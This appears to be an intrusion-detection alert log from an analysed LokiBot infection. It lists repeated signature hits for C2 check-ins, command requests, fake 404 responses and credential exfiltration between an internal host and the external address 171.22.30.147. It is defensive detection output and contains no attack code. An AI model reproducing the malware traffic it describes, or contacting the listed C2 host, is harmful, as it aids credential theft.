Source Port:	49781
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749791802021641 01/05/23-08:52:38.617554
SID:	2021641
Source Port:	49791
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749998802825766 01/05/23-08:53:39.461942
SID:	2825766
Source Port:	49998
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749751802025381 01/05/23-08:52:25.762510
SID:	2025381
Source Port:	49751
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497832025483 01/05/23-08:52:36.476500
SID:	2025483
Source Port:	80
Destination Port:	49783
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749870802825766 01/05/23-08:53:01.561418
SID:	2825766
Source Port:	49870
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750060802024313 01/05/23-08:53:57.543966
SID:	2024313
Source Port:	50060
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749725802021641 01/05/23-08:52:18.390674
SID:	2021641
Source Port:	49725
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750020802825766 01/05/23-08:53:45.631791
SID:	2825766
Source Port:	50020
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499622025483 01/05/23-08:53:29.944322
SID:	2025483
Source Port:	80
Destination Port:	49962
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750026802825766 01/05/23-08:53:48.341265
SID:	2825766
Source Port:	50026
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750049802825766 01/05/23-08:53:54.543372
SID:	2825766
Source Port:	50049
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749715802825766 01/05/23-08:52:14.021138
SID:	2825766
Source Port:	49715
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749757802025381 01/05/23-08:52:27.498112
SID:	2025381
Source Port:	49757
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499732025483 01/05/23-08:53:32.908458
SID:	2025483
Source Port:	80
Destination Port:	49973
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750036802021641 01/05/23-08:53:51.046851
SID:	2021641
Source Port:	50036
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750060802024318 01/05/23-08:53:57.543966
SID:	2024318
Source Port:	50060
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749930802024318 01/05/23-08:53:19.220224
SID:	2024318
Source Port:	49930
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749896802021641 01/05/23-08:53:08.759564
SID:	2021641
Source Port:	49896
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750013802021641 01/05/23-08:53:43.455950
SID:	2021641
Source Port:	50013
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749930802024313 01/05/23-08:53:19.220224
SID:	2024313
Source Port:	49930
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499952025483 01/05/23-08:53:38.758200
SID:	2025483
Source Port:	80
Destination Port:	49995
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749985802021641 01/05/23-08:53:36.027311
SID:	2021641
Source Port:	49985
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749741802025381 01/05/23-08:52:22.916909
SID:	2025381
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749791802825766 01/05/23-08:52:38.617554
SID:	2825766
Source Port:	49791
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498042025483 01/05/23-08:52:42.259302
SID:	2025483
Source Port:	80
Destination Port:	49804
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750050802024313 01/05/23-08:53:54.799294
SID:	2024313
Source Port:	50050
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749880802825766 01/05/23-08:53:04.232334
SID:	2825766
Source Port:	49880
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750039802825766 01/05/23-08:53:51.865723
SID:	2825766
Source Port:	50039
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749765802024318 01/05/23-08:52:29.748218
SID:	2024318
Source Port:	49765
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749768802024318 01/05/23-08:52:30.564042
SID:	2024318
Source Port:	49768
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750050802024318 01/05/23-08:53:54.799294
SID:	2024318
Source Port:	50050
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749765802024313 01/05/23-08:52:29.748218
SID:	2024313
Source Port:	49765
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497502025483 01/05/23-08:52:25.555747
SID:	2025483
Source Port:	80
Destination Port:	49750
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749854802024313 01/05/23-08:52:57.240558
SID:	2024313
Source Port:	49854
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749768802024313 01/05/23-08:52:30.564042
SID:	2024313
Source Port:	49768
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749943802024318 01/05/23-08:53:22.718924
SID:	2024318
Source Port:	49943
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749854802024318 01/05/23-08:52:57.240558
SID:	2024318
Source Port:	49854
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749943802024313 01/05/23-08:53:22.718924
SID:	2024313
Source Port:	49943
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750026802021641 01/05/23-08:53:48.341265
SID:	2021641
Source Port:	50026
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749919802825766 01/05/23-08:53:16.188265
SID:	2825766
Source Port:	49919
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749712802825766 01/05/23-08:52:12.436257
SID:	2825766
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749712802021641 01/05/23-08:52:12.436257
SID:	2021641
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750079802024313 01/05/23-08:54:02.588823
SID:	2024313
Source Port:	50079
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749801802021641 01/05/23-08:52:41.371912
SID:	2021641
Source Port:	49801
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749801802825766 01/05/23-08:52:41.371912
SID:	2825766
Source Port:	49801
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749932802025381 01/05/23-08:53:19.762349
SID:	2025381
Source Port:	49932
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749972802021641 01/05/23-08:53:32.566966
SID:	2021641
Source Port:	49972
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749817802021641 01/05/23-08:52:45.747633
SID:	2021641
Source Port:	49817
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750063802024313 01/05/23-08:53:58.331391
SID:	2024313
Source Port:	50063
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750065802025381 01/05/23-08:53:58.843527
SID:	2025381
Source Port:	50065
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749906802021641 01/05/23-08:53:12.686115
SID:	2021641
Source Port:	49906
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750063802024318 01/05/23-08:53:58.331391
SID:	2024318
Source Port:	50063
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749959802024313 01/05/23-08:53:28.075379
SID:	2024313
Source Port:	49959
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500242025483 01/05/23-08:53:47.891283
SID:	2025483
Source Port:	80
Destination Port:	50024
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750083802025381 01/05/23-08:54:03.789158
SID:	2025381
Source Port:	50083
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749755802025381 01/05/23-08:52:26.961334
SID:	2025381
Source Port:	49755
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749896802825766 01/05/23-08:53:08.759564
SID:	2825766
Source Port:	49896
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750022802025381 01/05/23-08:53:46.665385
SID:	2025381
Source Port:	50022
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749740802825766 01/05/23-08:52:22.636691
SID:	2825766
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749839802024313 01/05/23-08:52:53.202583
SID:	2024313
Source Port:	49839
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499442025483 01/05/23-08:53:23.101688
SID:	2025483
Source Port:	80
Destination Port:	49944
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749836802021641 01/05/23-08:52:51.681664
SID:	2021641
Source Port:	49836
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749839802024318 01/05/23-08:52:53.202583
SID:	2024318
Source Port:	49839
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749984802025381 01/05/23-08:53:35.743967
SID:	2025381
Source Port:	49984
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749835802825766 01/05/23-08:52:50.902278
SID:	2825766
Source Port:	49835
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749831802021641 01/05/23-08:52:49.539016
SID:	2021641
Source Port:	49831
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750058802021641 01/05/23-08:53:57.002594
SID:	2021641
Source Port:	50058
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749940802024318 01/05/23-08:53:21.893765
SID:	2024318
Source Port:	49940
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749926802021641 01/05/23-08:53:18.143087
SID:	2021641
Source Port:	49926
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498862025483 01/05/23-08:53:05.936188
SID:	2025483
Source Port:	80
Destination Port:	49886
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499032025483 01/05/23-08:53:11.958213
SID:	2025483
Source Port:	80
Destination Port:	49903
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750072802024318 01/05/23-08:54:00.683642
SID:	2024318
Source Port:	50072
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497902025483 01/05/23-08:52:38.427307
SID:	2025483
Source Port:	80
Destination Port:	49790
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749808802021641 01/05/23-08:52:43.325468
SID:	2021641
Source Port:	49808
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749940802024313 01/05/23-08:53:21.893765
SID:	2024313
Source Port:	49940
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749744802024318 01/05/23-08:52:23.736699
SID:	2024318
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750072802024313 01/05/23-08:54:00.683642
SID:	2024313
Source Port:	50072
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749744802024313 01/05/23-08:52:23.736699
SID:	2024313
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749800802025381 01/05/23-08:52:41.099242
SID:	2025381
Source Port:	49800
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749862802024313 01/05/23-08:52:59.436708
SID:	2024313
Source Port:	49862
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749897802021641 01/05/23-08:53:09.055046
SID:	2021641
Source Port:	49897
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749957802024318 01/05/23-08:53:26.768134
SID:	2024318
Source Port:	49957
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749958802825766 01/05/23-08:53:27.233105
SID:	2825766
Source Port:	49958
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749863802825766 01/05/23-08:52:59.703117
SID:	2825766
Source Port:	49863
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749862802024318 01/05/23-08:52:59.436708
SID:	2024318
Source Port:	49862
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749941802825766 01/05/23-08:53:22.165125
SID:	2825766
Source Port:	49941
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749945802024313 01/05/23-08:53:23.275014
SID:	2024313
Source Port:	49945
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749812802025381 01/05/23-08:52:44.412618
SID:	2025381
Source Port:	49812
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749985802024318 01/05/23-08:53:36.027311
SID:	2024318
Source Port:	49985
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749968802025381 01/05/23-08:53:31.490288
SID:	2025381
Source Port:	49968
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749757802825766 01/05/23-08:52:27.498112
SID:	2825766
Source Port:	49757
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749985802024313 01/05/23-08:53:36.027311
SID:	2024313
Source Port:	49985
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749801802024313 01/05/23-08:52:41.371912
SID:	2024313
Source Port:	49801
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749778802825766 01/05/23-08:52:34.958959
SID:	2825766
Source Port:	49778
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497302025483 01/05/23-08:52:19.930196
SID:	2025483
Source Port:	80
Destination Port:	49730
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749713802021641 01/05/23-08:52:12.826844
SID:	2021641
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750041802021641 01/05/23-08:53:52.410718
SID:	2021641
Source Port:	50041
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497682025483 01/05/23-08:52:30.646820
SID:	2025483
Source Port:	80
Destination Port:	49768
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749718802021641 01/05/23-08:52:15.464089
SID:	2021641
Source Port:	49718
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749699802024312 01/05/23-08:52:06.870270
SID:	2024312
Source Port:	49699
Destination Port:	80
Protocol:	TCP
